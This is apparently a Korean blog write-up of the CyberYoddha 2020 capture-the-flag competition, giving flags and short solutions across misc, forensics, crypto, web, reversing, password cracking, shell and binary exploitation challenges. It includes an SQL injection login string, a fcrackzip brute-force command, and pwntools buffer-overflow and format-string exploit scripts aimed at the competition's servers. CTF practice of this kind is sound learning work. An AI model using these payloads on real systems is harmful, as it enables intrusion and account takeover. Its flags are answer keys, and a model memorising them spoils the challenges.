CyberYoddha CTF Writeup

skyepodium·2020년 11월 1일
1
post-thumbnail

10.31 ~ 11.02

정리하다 보니까 사이버 요다가 무슨뜻인지 갑자기 궁금해졌는데... 굳이 알고 싶지도 않아.

제일 재미있었던 문제는 리눅스 쉘 명령어 사용하는 문제

배운점은 1) 기드라 보면서 스택프레임 어떻게 써야할지 애해하게 된것, 2) /bin/sh는 리눅스의 쉘이다.

Misc

1. Lorem Ipsum

https://text-compare.com/

로렌 입숨은 출판, 디자인에서 폰트를 채우기 위한 텍스트입니다. 주어진 텍스트와 검색된 내용에 차이가 있음을 알고, comapre tool로 비교했습니다.

정답: CYCTF{latiniscool}

Forensic

1. Image Viewer


정답: CYCTF{h3h3h3_1m@g3_M3t@d@t@_v13w3r_ICU}

2. The row beneath


정답: CYCTF{L00k_1n_th3_h3x_13h54d56}

3. What’s the password?



정답:CYCTF{U3sud0t0achi3v3y0urdr3@m3_sud0_t0_achi3v3_y0ur_dr3@m!}

4. Steg 2


정답: CYCTF{l$b_st3g@n0gr@phy_f0r_th3_w1n}

5. Steg Ultimate

https://pastebin.com/YnKqT9s3

정답: CYCTF{2_f0r_th3_pr1c3_0f_1_b64}

Cryptography

1. Beware the Ides of March

정답: CYCTF{c@3$@r_c!ph3r}

2. Home Base

정답: CYCTF{it5_@_H0m3_2un!}

3. Sus


정답: CYCTF{wouldyoulikesomevinegarwiththat}

Web Exploitation

1. Look Closely


정답: CYCTF{1nSp3t_eL3M3nt?}

2. Disallow



정답: CYCTF{d33r0b0t$_r_sUp3r10r}

3. Data Store


usename: admin
password: a' or 'a' = 'a

정답: CYCTF{1l0v3$q1i}

4. Something Sw33t

https://base64.guru/tools/repair

정답: CYCTF{base64_is_supreme}

5. Data Store 2

usename: admin
password: a' or 'a' = 'a

Data Store 첫번째 문제랑 다른것이 없다. sql injection 을 똑같이 걸어준다.

정답: CYCTF{S@n1t1ze_@11_U3R1npu73R_1npu7}

6. Data Store 3

나중에 가서는 막기는 했는데 처음에는 뭔가 싶었다.
https://cyberyoddha.baycyber.net:33004/secret

sql injection 으로 뚫고 /secret로 이동하는것 같았는데 그냥 뚫려있었다.

정답: CYCTF{D0n7_M@k3_D3bug_Publ1c}

Reverse Engineering

1. Password 1

#include <stdio.h>

char password[43] = "abcdeabcdeabcdeabcdeabcdeabcdeabcdeabcdeabc";

int main () {
    
    password[26] = 'r';
    password[33] = 't';
    password[32] = '3';
    password[16] = '3';
    password[4] = 'F' ;
    password[21] = 'r';
    password[38] = '1';
    password[18] = 'c';
    password[22] = '@';
    password[31] = 'g';
    password[7] = 'u' ;
    password[0] = 'C' ;
    password[6] = 'p' ;
    password[39] = '3';
    password[3] = 'T' ;
    password[25] = '3';
    password[29] = 't';
    password[42] = '}';
    password[12] = 'g';
    password[23] = 'c';
    password[30] = '0';
    password[40] = '3';
    password[28] = '_';
    password[20] = '@';
    password[27] = '$';
    password[17] = '_';
    password[35] = '3';
    password[8] = '7' ;
    password[24] = 't';
    password[41] = '7';
    password[13] = '_';
    password[5] = '{' ;
    password[2] = 'C' ;
    password[11] = 'n';
    password[9] = '7' ;
    password[15] = 'h';
    password[34] = 'h';
    password[1] = 'Y' ;
    password[10] = '1';
    password[37] = '_';
    password[14] = 't';
    password[36] = 'r';
    password[19] = 'h';

    printf("%s\n", password);

}

정답: CYCTF{pu771ng_th3_ch@r@ct3r$_t0g3th3r_1337}

2. Password 2

password = "CYCTF{ju$@rcs_3l771l_@_t}bd3cfdr0y_u0t__03_0l3m"

newPass = list(password)

for i in range(45, 25, -2):
    newPass[i] = password[i]

for i in range(24,47,2):
    newPass[i] = password[70-i]

for i in range(9,24):
    newPass[i] = password[32-i]

for i in range(0,9):
    newPass[i] = password[i]

for i in newPass:
    print(i, end="")

정답: CYCTF{ju$t_@_l177l3_scr@mbl3_f0r_y0u_t0_d3c0d3}

Password Cracking

1. secure (i think?)

정답: securepassword

2. Crack the Zip!

파일 이름이 겹쳐서 crack.zip으로 변경했다.

fcrackzip -b -D -p rockyou.txt -u crack.zip

정답: cyctf{y0u_cr@ck3d_th3_z!p...}

3. supa secure

정답: CYCTF{ilovesalt}

4. Me, Myself, and I

https://hashes.com/en/decrypt/hash

정답: CYCTF{whoami}

Shebang

1. shebang0

정답: CYCTF{w3ll_1_gu3$$_b@sh_1s_e@zy}

2. shebang1


정답: CYCTF{w3ll_1_gu3$$_y0u_kn0w_h0w_t0_gr3p}

3. shebang2

find . -type f -print | xargs grep -i "CYCTF" /dev/null

정답: CYCTF{W0wth@t$@_l0t_0f_f1l3s}

4. shebang3


diff file.txt file2.txt

정답: CYCTF{SPOT_TH3_D1FF}

5. shebang4

정답: CYCTF{W3ll_1_gu3$$_th@t_w@s_actually_easy}

OSINT

1. Back to the Future 4

http://web.archive.org/web/20200916000913/https://cyberyoddha.baycyber.net/teams/2

정답: CYCTF{Tr@v3l_b@ck_1n_t1m3_t0_g3t_th3_fl@g}


여기서 부터는 내가 못 풀었던 문제들, Writeup 통해서 복기

1. Binary Exploitation

못푼 이유: system("/bin/sh"); 가 무슨의미인지 몰랐다.

퍼퍼의 크기가 16이기 때문에 길이 16 초과인 문자열을 입력받으면 버퍼 오버 플로우가 발생할것으로 보인다.

char str[] = "AAAA"; 의 요소중 단 한개라도 'A' 가 아니라면 if 문 안으로 들어가게 된다.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(void) {
  char str[] = "AAAA";
  char buf[16];

  gets(buf);
  
  if (!(str[0] == 'A' && str[1] == 'A' && str[2] == 'A' && str[3] == 'A')){
    system("/bin/sh");
  }
}

기드라로 열어보면 다음과 같다.

local_25 에 16자리 문자열을 받는데, 넘어가면 local_15의 영역을 덮어쓴다.

그리고 if문으로 들어가면 system("/bin/sh") 쉘코드가 실행되고, 이를 사용한다.

from pwn import *

p = remote("cyberyoddha.baycyber.net", 10001)

p.connected()

payload = b'\x00' * 17

p.sendline(payload)

p.interactive()

2. Overflow 2

from pwn import *

p = remote("cyberyoddha.baycyber.net", 10002)

p.connected()

payload = b'\x00' * 28
payload += p32(0x08049172)

p.sendline(payload)

p.interactive()

정답: CYCTF{0v3rfl0w!ng_v@ri@bl3i_i_3z}

3. Overflow 3

from pwn import *

p = remote("cyberyoddha.baycyber.net", 10003)

p.connected()

payload = b'\x00' * 16
payload += p32(0xd3adb33f)

p.sendline(payload)

p.interactive()

정답: CYCTF{wh0@_y0u_jump3d_t0_th3_funct!0n}

4. FormatS

1) 소스 코드

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main ()
{
	char *input;
	char *flag = "REDACTED!";

	gets(input);
	printf(input);

	return 0;
 
}

2) 몇 번째 format

55번째 format에 걸린다.

3) flag 의 주소

기드라로 디스어셈블된 flag의 주소를 확인하면, 0804a008 이다.

4) 익스플로잇

아스키 코드 값
% - 25
s - 73
x - 78

from pwn import *

p = remote("cyberyoddha.baycyber.net", 10005)

p.connected()

add = 0x0804a008

payload = p32(add) + b'\x25\x78' * 54 + b'\x25\x73'

p.sendline(payload)

result = p.recvall()

print(result)
profile
callmeskye

0개의 댓글